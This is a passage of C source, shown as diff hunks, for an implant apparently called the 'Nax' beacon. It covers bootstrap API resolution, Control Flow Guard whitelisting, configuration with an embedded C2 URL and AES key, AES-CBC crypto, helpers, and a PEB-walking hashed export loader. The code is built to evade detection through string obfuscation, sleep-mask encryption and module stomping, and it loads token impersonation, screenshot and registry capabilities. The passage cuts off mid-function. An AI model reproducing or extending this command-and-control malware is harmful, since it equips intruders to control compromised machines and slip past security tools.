Nax->Bcrypt.BCryptEncrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTENCRYPT );
|
||||
Nax->Bcrypt.BCryptDecrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDECRYPT );
|
||||
Nax->Bcrypt.BCryptDestroyKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDESTROYKEY );
|
||||
Nax->Bcrypt.BCryptCloseAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTCLOSEALGORITHMPROVIDER );
|
||||
Nax->Bcrypt.BCryptGenRandom = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENRANDOM );
|
||||
|
||||
/* - iphlpapi (all transports need GetAdaptersInfo for internal IP) - */
|
||||
WCHAR iphl[] = { 'i', 'p', 'h', 'l', 'p', 'a', 'p', 'i', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE hIphlpapi = Nax->Kernel32.LoadLibraryW( iphl );
|
||||
if ( ! hIphlpapi ) {
|
||||
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
Nax->Iphlpapi.GetAdaptersInfo = (PVOID)NaxGetProc( hIphlpapi, H_GETADAPTERSINFO );
|
||||
|
||||
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
|
||||
/* - winhttp (HTTP transport only) - */
|
||||
WCHAR whttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE hWinhttp = Nax->Kernel32.LoadLibraryW( whttp );
|
||||
NaxDbgx( Nax, "winhttp=%p bcrypt=%p iphlpapi=%p", hWinhttp, hBcrypt, hIphlpapi );
|
||||
if ( ! hWinhttp ) {
|
||||
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
Nax->Winhttp.WinHttpOpen = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPEN );
|
||||
Nax->Winhttp.WinHttpConnect = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCONNECT );
|
||||
Nax->Winhttp.WinHttpOpenRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPENREQUEST );
|
||||
Nax->Winhttp.WinHttpSendRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSENDREQUEST );
|
||||
Nax->Winhttp.WinHttpReceiveResponse = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPRECEIVERESPONSE );
|
||||
Nax->Winhttp.WinHttpQueryHeaders = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYHEADERS );
|
||||
Nax->Winhttp.WinHttpReadData = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPREADDATA );
|
||||
Nax->Winhttp.WinHttpCloseHandle = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCLOSEHANDLE );
|
||||
Nax->Winhttp.WinHttpCrackUrl = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCRACKURL );
|
||||
Nax->Winhttp.WinHttpSetOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSETOPTION );
|
||||
Nax->Winhttp.WinHttpQueryOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYOPTION );
|
||||
Nax->Winhttp.WinHttpQueryDataAvailable = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYDATAAVAILABLE );
|
||||
#else
|
||||
NaxDbgx( Nax, "SMB transport: skipping winhttp (iphlpapi=%p)", hIphlpapi );
|
||||
#endif
|
||||
|
||||
WCHAR adv[] = { 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' };
|
||||
HMODULE hAdvapi32 = Nax->Kernel32.LoadLibraryW( adv );
|
||||
if ( ! hAdvapi32 ) {
|
||||
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
|
||||
return NULL;
|
||||
}
|
||||
Nax->Advapi32.GetUserNameW = (PVOID)NaxGetProc( hAdvapi32, H_GETUSERNAMEW );
|
||||
Nax->Advapi32.GetTokenInformation = (PVOID)NaxGetProc( hAdvapi32, H_GETTOKENINFORMATION );
|
||||
Nax->Advapi32.LookupAccountSidA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPACCOUNTSIDA );
|
||||
Nax->Advapi32.AllocateAndInitializeSid = (PVOID)NaxGetProc( hAdvapi32, H_ALLOCATEANDINITIALIZESID );
|
||||
Nax->Advapi32.InitializeSecurityDescriptor = (PVOID)NaxGetProc( hAdvapi32, H_INITIALIZESECURITYDESCRIPTOR );
|
||||
Nax->Advapi32.SetSecurityDescriptorDacl = (PVOID)NaxGetProc( hAdvapi32, H_SETSECURITYDESCRIPTORDACL );
|
||||
Nax->Advapi32.SetEntriesInAclA = (PVOID)NaxGetProc( hAdvapi32, H_SETENTRIESINACLA );
|
||||
Nax->Advapi32.FreeSid = (PVOID)NaxGetProc( hAdvapi32, H_FREESID );
|
||||
Nax->Advapi32.DuplicateTokenEx = (PVOID)NaxGetProc( hAdvapi32, H_DUPLICATETOKENEX );
|
||||
Nax->Advapi32.ImpersonateLoggedOnUser = (PVOID)NaxGetProc( hAdvapi32, H_IMPERSONATELOGGEDONUSER );
|
||||
Nax->Advapi32.RevertToSelf = (PVOID)NaxGetProc( hAdvapi32, H_REVERTTOSELF );
|
||||
Nax->Advapi32.LogonUserA = (PVOID)NaxGetProc( hAdvapi32, H_LOGONUSERA );
|
||||
Nax->Advapi32.AdjustTokenPrivileges = (PVOID)NaxGetProc( hAdvapi32, H_ADJUSTTOKENPRIVILEGES );
|
||||
Nax->Advapi32.LookupPrivilegeValueA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGEVALUEA );
|
||||
Nax->Advapi32.LookupPrivilegeNameA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGENAMEA );
|
||||
Nax->Advapi32.OpenThreadToken = (PVOID)NaxGetProc( hAdvapi32, H_OPENTHREADTOKEN );
|
||||
Nax->Advapi32.RegCreateKeyExW = (PVOID)NaxGetProc( hAdvapi32, H_REGCREATEKEYEXW );
|
||||
Nax->Advapi32.RegSetValueExW = (PVOID)NaxGetProc( hAdvapi32, H_REGSETVALUEEXW );
|
||||
Nax->Advapi32.RegCloseKey = (PVOID)NaxGetProc( hAdvapi32, H_REGCLOSEKEY );
|
||||
NaxDbgx( Nax, "advapi32=%p GetUserNameW=%p", hAdvapi32, Nax->Advapi32.GetUserNameW );
|
||||
|
||||
/* - user32 + gdi32 for screenshot - loaded lazily; not fatal if absent - */
|
||||
WCHAR user32w[] = { 'u','s','e','r','3','2','.','d','l','l','\0' };
|
||||
WCHAR gdi32w[] = { 'g','d','i','3','2', '.','d','l','l','\0' };
|
||||
HMODULE hUser32 = Nax->Kernel32.LoadLibraryW( user32w );
|
||||
HMODULE hGdi32 = Nax->Kernel32.LoadLibraryW( gdi32w );
|
||||
if ( hUser32 ) {
|
||||
Nax->User32.GetSystemMetrics = (PVOID)NaxGetProc( hUser32, H_GETSYSTEMMETRICS );
|
||||
Nax->User32.GetDC = (PVOID)NaxGetProc( hUser32, H_GETDC );
|
||||
Nax->User32.ReleaseDC = (PVOID)NaxGetProc( hUser32, H_RELEASEDC );
|
||||
}
|
||||
if ( hGdi32 ) {
|
||||
Nax->Gdi32.CreateCompatibleDC = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEDC );
|
||||
Nax->Gdi32.CreateCompatibleBitmap = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEBITMAP );
|
||||
Nax->Gdi32.SelectObject = (PVOID)NaxGetProc( hGdi32, H_SELECTOBJECT );
|
||||
Nax->Gdi32.BitBlt = (PVOID)NaxGetProc( hGdi32, H_BITBLT );
|
||||
Nax->Gdi32.GetDIBits = (PVOID)NaxGetProc( hGdi32, H_GETDIBITS );
|
||||
Nax->Gdi32.DeleteObject = (PVOID)NaxGetProc( hGdi32, H_DELETEOBJECT );
|
||||
Nax->Gdi32.DeleteDC = (PVOID)NaxGetProc( hGdi32, H_DELETEDC );
|
||||
}
|
||||
NaxDbgx( Nax, "user32=%p gdi32=%p", hUser32, hGdi32 );
|
||||
|
||||
/* Record beacon .text region for sleepmask encryption */
|
||||
if ( Nax->Ntdll.NtQueryVirtualMemory ) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
MmZero( &mbi, sizeof( mbi ) );
|
||||
if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), (PVOID)NaxBootstrap, 0, &mbi, sizeof( mbi ), NULL ) == 0 ) {
|
||||
Nax->SmInfo.BeaconBase = mbi.BaseAddress;
|
||||
Nax->SmInfo.BeaconSize = (UINT32)mbi.RegionSize;
|
||||
NaxDbgx( Nax, "beacon region: base=%p size=0x%x", Nax->SmInfo.BeaconBase, Nax->SmInfo.BeaconSize );
|
||||
}
|
||||
}
|
||||
|
||||
/* Read stomp context tag - loader writes { magic, cleanBuf, cleanSize }
|
||||
* at (code start + code size), right after the beacon shellcode. */
|
||||
{
|
||||
extern PVOID StartPtr( void );
|
||||
extern PVOID EndPtr( void );
|
||||
SIZE_T codeSize = (SIZE_T)( (PBYTE)EndPtr() - (PBYTE)StartPtr() );
|
||||
PBYTE pTag = (PBYTE)StartPtr() + codeSize;
|
||||
NaxDbgx( Nax, "stomp tag: start=%p end=%p codeSize=0x%zx pTag=%p magic=0x%08x",
|
||||
StartPtr(), EndPtr(), codeSize, pTag, *(UINT32*)pTag );
|
||||
if ( *(UINT32*)pTag == NAX_STOMP_CTX_MAGIC ) {
|
||||
Nax->SmInfo.CleanTextBuf = *(PVOID*)( pTag + sizeof( UINT32 ) );
|
||||
Nax->SmInfo.CleanTextSize = *(UINT32*)( pTag + sizeof( UINT32 ) + sizeof( PVOID ) );
|
||||
NaxDbgx( Nax, "clean text: buf=%p size=0x%x", Nax->SmInfo.CleanTextBuf, Nax->SmInfo.CleanTextSize );
|
||||
} else {
|
||||
NaxDbgx( Nax, "stomp tag NOT FOUND: bytes at pTag: %02x %02x %02x %02x %02x %02x %02x %02x",
|
||||
pTag[0], pTag[1], pTag[2], pTag[3], pTag[4], pTag[5], pTag[6], pTag[7] );
|
||||
}
|
||||
}
|
||||
|
||||
NaxDbgx( Nax, "bootstrap complete" );
|
||||
return Nax;
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
/* beacon/src/Core/Cfg.c
|
||||
* Control Flow Guard helpers - query status, whitelist targets. */
|
||||
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#include "Cfg.h"
|
||||
|
||||
FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax ) {
|
||||
Nax->CfgEnabled = FALSE;
|
||||
|
||||
if ( !Nax->Kernel32.GetProcessMitigationPolicy )
|
||||
return;
|
||||
|
||||
NAX_CFG_POLICY policy;
|
||||
MmZero( &policy, sizeof( policy ) );
|
||||
|
||||
if ( Nax->Kernel32.GetProcessMitigationPolicy( (HANDLE)-1, NAX_POLICY_CFG, &policy, sizeof( policy ) ) )
|
||||
Nax->CfgEnabled = policy.EnableControlFlowGuard;
|
||||
|
||||
NaxDbg( Nax, "[cfg] enabled=%d", (INT)Nax->CfgEnabled );
|
||||
}
|
||||
|
||||
FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function ) {
|
||||
if ( !Nax->CfgEnabled )
|
||||
return TRUE;
|
||||
|
||||
if ( !Nax->Kernelbase.SetProcessValidCallTargets )
|
||||
return FALSE;
|
||||
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)ImageBase + dos->e_lfanew );
|
||||
SIZE_T length = ( (SIZE_T)nt->OptionalHeader.SizeOfImage + 0xFFF ) & ~(SIZE_T)0xFFF;
|
||||
|
||||
CFG_CALL_TARGET_INFO cfg;
|
||||
cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase );
|
||||
cfg.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
BOOL ok = Nax->Kernelbase.SetProcessValidCallTargets( (HANDLE)-1, ImageBase, length, 1, &cfg );
|
||||
NaxDbg( Nax, "[cfg] add target: base=%p func=%p offset=0x%llx ok=%d", ImageBase, Function, (UINT64)cfg.Offset, (INT)ok );
|
||||
return ok;
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
/* beacon/src/Core/Config.c
|
||||
* NaxInitConfig - populate NAX_CONFIG from compile-time constants in Config.h.
|
||||
*
|
||||
* WHY NAX_C2_URL_WRITE / NAX_AES_KEY_WRITE macros: GCC -Os pools any local
|
||||
* char[]/byte[] initializer into .rdata and copies from there, even when the
|
||||
* source is { 'h','t','t','p',... } or { 0x48, 0xE9, ... }. Direct indexed
|
||||
* assignments of integer constants through a volatile pointer always emit
|
||||
* immediate MOVs in .text with no .rdata entry. */
|
||||
|
||||
#include "Nax.h"
|
||||
#include "Config.h"
|
||||
#include "Transport.h"
|
||||
|
||||
FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax ) {
|
||||
/* sleep / jitter - scalar assignments are always immediate MOVs */
|
||||
Nax->Config.SleepMs = NAX_SLEEP_MS;
|
||||
Nax->Config.JitterPct = (BYTE)NAX_JITTER_PCT;
|
||||
|
||||
/* AES key - per-byte immediate stores, no intermediate array */
|
||||
volatile BYTE *k = (volatile BYTE *)Nax->Config.AesKey;
|
||||
NAX_AES_KEY_WRITE( k );
|
||||
|
||||
/* chunked download default */
|
||||
Nax->Config.DlChunkSize = NAX_DL_CHUNK_DEFAULT;
|
||||
|
||||
/* listener watermark - used in SMB beat for pivot routing */
|
||||
Nax->Config.ListenerWm = NAX_LISTENER_WM;
|
||||
|
||||
/* C2 URL - per-char immediate stores, no intermediate array */
|
||||
volatile CHAR *u = (volatile CHAR *)Nax->Config.C2Url;
|
||||
NAX_C2_URL_WRITE( u );
|
||||
|
||||
/* Default beacon ID header - HTTP only (SMB uses raw pipe framing) */
|
||||
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
|
||||
volatile CHAR *bh = (volatile CHAR *)Nax->Config.BeaconIdHdr;
|
||||
bh[0]='X'; bh[1]='-'; bh[2]='B'; bh[3]='e'; bh[4]='a'; bh[5]='c';
|
||||
bh[6]='o'; bh[7]='n'; bh[8]='-'; bh[9]='I'; bh[10]='d'; bh[11]='\0';
|
||||
#endif
|
||||
|
||||
/* BOF module stomping config */
|
||||
#if NAX_BOF_STOMP
|
||||
Nax->Config.BofStomp = 1;
|
||||
{ volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.BofSyncDll;
|
||||
NAX_BOF_SYNC_DLL_WRITE( sd ); }
|
||||
Nax->Config.BofAsyncCount = NAX_BOF_ASYNC_COUNT;
|
||||
#if NAX_BOF_ASYNC_COUNT > 0
|
||||
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[0];
|
||||
NAX_BOF_ASYNC_0_WRITE( ad ); }
|
||||
#endif
|
||||
#if NAX_BOF_ASYNC_COUNT > 1
|
||||
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[1];
|
||||
NAX_BOF_ASYNC_1_WRITE( ad ); }
|
||||
#endif
|
||||
#if NAX_BOF_ASYNC_COUNT > 2
|
||||
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[2];
|
||||
NAX_BOF_ASYNC_2_WRITE( ad ); }
|
||||
#endif
|
||||
#if NAX_BOF_ASYNC_COUNT > 3
|
||||
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[3];
|
||||
NAX_BOF_ASYNC_3_WRITE( ad ); }
|
||||
#endif
|
||||
#ifdef NAX_SM_STOMP_DLL_WRITE
|
||||
{ volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.SmStompDll;
|
||||
NAX_SM_STOMP_DLL_WRITE( sd ); }
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* Load embedded profile - HTTP only (SMB child uses raw pipe framing) */
|
||||
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
|
||||
#ifdef NAX_PROFILE_LEN
|
||||
{
|
||||
PBYTE prof_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_PROFILE_LEN );
|
||||
if ( prof_buf ) {
|
||||
volatile BYTE *pp = (volatile BYTE *)prof_buf;
|
||||
NAX_PROFILE_WRITE( pp );
|
||||
NaxApplyProfile( Nax, prof_buf, NAX_PROFILE_LEN );
|
||||
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, prof_buf );
|
||||
}
|
||||
}
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* sleep obfuscation defaults (from Config.h, always recompiled by link target) */
|
||||
#ifndef NAX_DEFAULT_SLEEP_OBF
|
||||
#define NAX_DEFAULT_SLEEP_OBF 1
|
||||
#endif
|
||||
Nax->SmInfo.Config.SleepObf = NAX_DEFAULT_SLEEP_OBF;
|
||||
}
|
||||
|
||||
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
|
||||
FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len ) {
|
||||
Nax->Config.ProfileLoaded = 0;
|
||||
return NaxDecodeProfile( body, body_len, Nax );
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,123 @@
|
||||
/* beacon/src/Core/Crypto.c
|
||||
* AES-128-CBC encrypt / decrypt via BCrypt, called through NAX_INSTANCE.
|
||||
* Encrypt: generates a random 16-byte IV, prepends it → IV || ciphertext.
|
||||
* Decrypt: first 16 bytes = IV, remainder = ciphertext → plaintext. */
|
||||
|
||||
#include "Macros.h"
|
||||
#include "Instance.h"
|
||||
#include "Crypto.h"
|
||||
#include <bcrypt.h>
|
||||
|
||||
/* ========= [ encrypt: plaintext → IV || ciphertext ] ========= */
|
||||
|
||||
FUNC INT NaxEncrypt( PNAX_INSTANCE Nax,
|
||||
const PBYTE plain, UINT32 plain_len,
|
||||
PBYTE out, UINT32* out_len ) {
|
||||
/* Minimum output: IV(16) + padded ciphertext (next multiple of 16). */
|
||||
UINT32 pad_len = ( plain_len + NAX_AES_BLOCK ) & ~( NAX_AES_BLOCK - 1 );
|
||||
if ( *out_len < NAX_AES_IV + pad_len )
|
||||
return NAX_ERR_NOMEM;
|
||||
|
||||
/* Generate a random IV directly into the output buffer. */
|
||||
if ( Nax->Bcrypt.BCryptGenRandom( NULL, out, NAX_AES_IV,
|
||||
BCRYPT_USE_SYSTEM_PREFERRED_RNG ) != 0 )
|
||||
return NAX_ERR_CRYPTO;
|
||||
|
||||
/* Open AES-CBC provider. */
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||
INT rc = NAX_ERR_CRYPTO;
|
||||
|
||||
WCHAR aes_name[] = { 'A', 'E', 'S', '\0' };
|
||||
WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' };
|
||||
WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' };
|
||||
|
||||
if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode,
|
||||
(PUCHAR)cbc_val,
|
||||
(ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0,
|
||||
Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
/* Copy IV so BCrypt can overwrite it in-place during encryption. */
|
||||
BYTE iv_copy[NAX_AES_IV];
|
||||
MmCopy( iv_copy, out, NAX_AES_IV );
|
||||
|
||||
ULONG bytes_done = 0;
|
||||
if ( Nax->Bcrypt.BCryptEncrypt( hKey,
|
||||
plain, plain_len,
|
||||
NULL,
|
||||
iv_copy, NAX_AES_IV,
|
||||
out + NAX_AES_IV, pad_len,
|
||||
&bytes_done,
|
||||
BCRYPT_BLOCK_PADDING ) != 0 )
|
||||
goto done;
|
||||
|
||||
*out_len = NAX_AES_IV + bytes_done;
|
||||
rc = NAX_OK;
|
||||
|
||||
done:
|
||||
if ( hKey )
|
||||
Nax->Bcrypt.BCryptDestroyKey( hKey );
|
||||
if ( hAlg )
|
||||
Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 );
|
||||
return rc;
|
||||
}
|
||||
|
||||
/* ========= [ decrypt: IV || ciphertext → plaintext ] ========= */
|
||||
|
||||
FUNC INT NaxDecrypt( PNAX_INSTANCE Nax,
|
||||
const PBYTE in, UINT32 in_len,
|
||||
PBYTE plain, UINT32* plain_len ) {
|
||||
if ( in_len <= NAX_AES_IV )
|
||||
return NAX_ERR_WIRE;
|
||||
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||
INT rc = NAX_ERR_CRYPTO;
|
||||
|
||||
WCHAR aes_name[] = { 'A', 'E', 'S', '\0' };
|
||||
WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' };
|
||||
WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' };
|
||||
|
||||
if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode,
|
||||
(PUCHAR)cbc_val,
|
||||
(ULONG)( 15 * sizeof( WCHAR ) ), 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
if ( Nax->Bcrypt.BCryptGenerateSymmetricKey( hAlg, &hKey, NULL, 0,
|
||||
Nax->Config.AesKey, NAX_AES_KEY, 0 ) != 0 )
|
||||
goto done;
|
||||
|
||||
/* The first 16 bytes are the IV; the remainder is ciphertext. */
|
||||
BYTE iv_copy[NAX_AES_IV];
|
||||
MmCopy( iv_copy, in, NAX_AES_IV );
|
||||
|
||||
ULONG bytes_done = 0;
|
||||
if ( Nax->Bcrypt.BCryptDecrypt( hKey,
|
||||
in + NAX_AES_IV, in_len - NAX_AES_IV,
|
||||
NULL,
|
||||
iv_copy, NAX_AES_IV,
|
||||
plain, *plain_len,
|
||||
&bytes_done,
|
||||
BCRYPT_BLOCK_PADDING ) != 0 )
|
||||
goto done;
|
||||
|
||||
*plain_len = bytes_done;
|
||||
rc = NAX_OK;
|
||||
|
||||
done:
|
||||
if ( hKey )
|
||||
Nax->Bcrypt.BCryptDestroyKey( hKey );
|
||||
if ( hAlg )
|
||||
Nax->Bcrypt.BCryptCloseAlgorithmProvider( hAlg, 0 );
|
||||
return rc;
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
/* beacon/src/Core/Helpers.c
|
||||
* Shared helper functions - deduplicated from per-module static copies.
|
||||
* All PIC-safe (FUNC section placement, no CRT). */
|
||||
|
||||
#include "Nax.h"
|
||||
|
||||
/* ========= [ string length ] ========= */
|
||||
|
||||
FUNC UINT32 NaxStrLen( const PCHAR str ) {
|
||||
UINT32 n = 0;
|
||||
while ( str && str[n] ) n++;
|
||||
return n;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxWcharLen( const PWCHAR wstr ) {
|
||||
UINT32 n = 0;
|
||||
while ( wstr[n] ) n++;
|
||||
return n;
|
||||
}
|
||||
|
||||
/* ========= [ Win32 error writer ] ========= */
|
||||
|
||||
FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code ) {
|
||||
if ( *out_len >= 4 ) {
|
||||
out[0] = (BYTE)code;
|
||||
out[1] = (BYTE)( code >> 8 );
|
||||
out[2] = (BYTE)( code >> 16 );
|
||||
out[3] = (BYTE)( code >> 24 );
|
||||
*out_len = 4;
|
||||
} else {
|
||||
*out_len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ text append helpers ] ========= */
|
||||
|
||||
FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src ) {
|
||||
while ( *src && off < cap )
|
||||
dst[off++] = *src++;
|
||||
return off;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src ) {
|
||||
while ( *src && off < cap )
|
||||
dst[off++] = (CHAR)*src++;
|
||||
return off;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 value ) {
|
||||
CHAR tmp[12];
|
||||
UINT32 len = NaxUToStr( value, tmp );
|
||||
for ( UINT32 i = 0; i < len && off < cap; i++ )
|
||||
dst[off++] = tmp[i];
|
||||
return off;
|
||||
}
|
||||
|
||||
FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val ) {
|
||||
static const char hex[] D_SEC( Bd ) = "0123456789abcdef";
|
||||
if ( off + 2 >= cap ) return off;
|
||||
dst[off++] = '0';
|
||||
dst[off++] = 'x';
|
||||
for ( INT i = ( sizeof( UINT_PTR ) * 2 ) - 1; i >= 0 && off < cap; i-- )
|
||||
dst[off++] = hex[ ( val >> ( i * 4 ) ) & 0xF ];
|
||||
return off;
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
/* beacon/src/Core/Ldr.c
|
||||
* PEB walk: NaxGetModule (by name-hash) + NaxGetProc (by export-hash).
|
||||
* PIC helpers: NaxHexEncode, NaxUToStr, NaxAsciiToWide.
|
||||
* PEB accessors use NaxCurrentPeb() (Defs.h overlay) - cast from NtCurrentTeb()
|
||||
* because MinGW cross-compile _PEB/_TEB hide most fields behind Reserved arrays. */
|
||||
|
||||
#include "Macros.h"
|
||||
#include "Defs.h"
|
||||
#include "Instance.h"
|
||||
#include <winternl.h>
|
||||
|
||||
/* ========= [ PEB / TEB accessors ] ========= */
|
||||
|
||||
/* Returns PEB->Ldr cast to our NAX_PEB_LDR_DATA type.
|
||||
* NAX_PEB_LDR_DATA exposes InLoadOrderModuleList which MinGW's simplified
|
||||
* PEB_LDR_DATA does not; the cast is safe - layout is identical. */
|
||||
FUNC PNAX_PEB_LDR_DATA NaxGetLdr( VOID ) {
|
||||
return (PNAX_PEB_LDR_DATA)NaxCurrentPeb()->Ldr;
|
||||
}
|
||||
|
||||
/* Process heap handle - used by NaxBootstrap before Nax is allocated. */
|
||||
FUNC HANDLE NaxGetProcessHeap( VOID ) {
|
||||
return (HANDLE)NaxCurrentPeb()->ProcessHeap;
|
||||
}
|
||||
|
||||
/* ========= [ FNV1a-32 hash ] ========= */
|
||||
|
||||
/* Hash a narrow ASCII string uppercased. */
|
||||
FUNC UINT32 NaxHashStr( const CHAR* str ) {
|
||||
UINT32 hash = 0x811C9DC5u;
|
||||
while ( *str ) {
|
||||
CHAR c = *str++;
|
||||
if ( c >= 'a' && c <= 'z' ) c -= 0x20;
|
||||
hash ^= (UINT32)(BYTE)c;
|
||||
hash *= 0x01000193u;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
/* Hash a wide (UTF-16LE) string via its low bytes uppercased. */
|
||||
FUNC UINT32 NaxHashWStr( const WCHAR* str ) {
|
||||
UINT32 hash = 0x811C9DC5u;
|
||||
while ( *str ) {
|
||||
CHAR c = (CHAR)( *str++ & 0xFF );
|
||||
if ( c >= 'a' && c <= 'z' ) c -= 0x20;
|
||||
hash ^= (UINT32)(BYTE)c;
|
||||
hash *= 0x01000193u;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
/* ========= [ module lookup ] ========= */
|
||||
|
||||
/* Walk PEB InLoadOrderModuleList; return base of module whose name hashes to h. */
|
||||
FUNC HMODULE NaxGetModule( UINT32 h ) {
|
||||
PNAX_PEB_LDR_DATA ldr = NaxGetLdr();
|
||||
PLIST_ENTRY head = &ldr->InLoadOrderModuleList;
|
||||
PLIST_ENTRY cur = head->Flink;
|
||||
|
||||
while ( cur != head ) {
|
||||
PNAX_LDR_ENTRY entry = CONTAINING_RECORD( cur, NAX_LDR_ENTRY, InLoadOrderLinks );
|
||||
if ( entry->BaseDllName.Buffer != NULL ) {
|
||||
if ( NaxHashWStr( entry->BaseDllName.Buffer ) == h )
|
||||
return (HMODULE)entry->DllBase;
|
||||
}
|
||||
cur = cur->Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ========= [ export lookup ] ========= */
|
||||
|
||||
/* Walk PE export table of `base`; return address of export whose name hashes to h.
|
||||
* Forwarded exports ("ModuleName.FunctionName") are resolved recursively.
|
||||
* Ordinal forwarding ("Module.#N") returns NULL - not implemented. */
|
||||
FUNC PVOID NaxGetProc( HMODULE base, UINT32 h ) {
|
||||
PBYTE b = B_PTR( base );
|
||||
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)b;
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( b + dos->e_lfanew );
|
||||
DWORD expRva = nt->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress;
|
||||
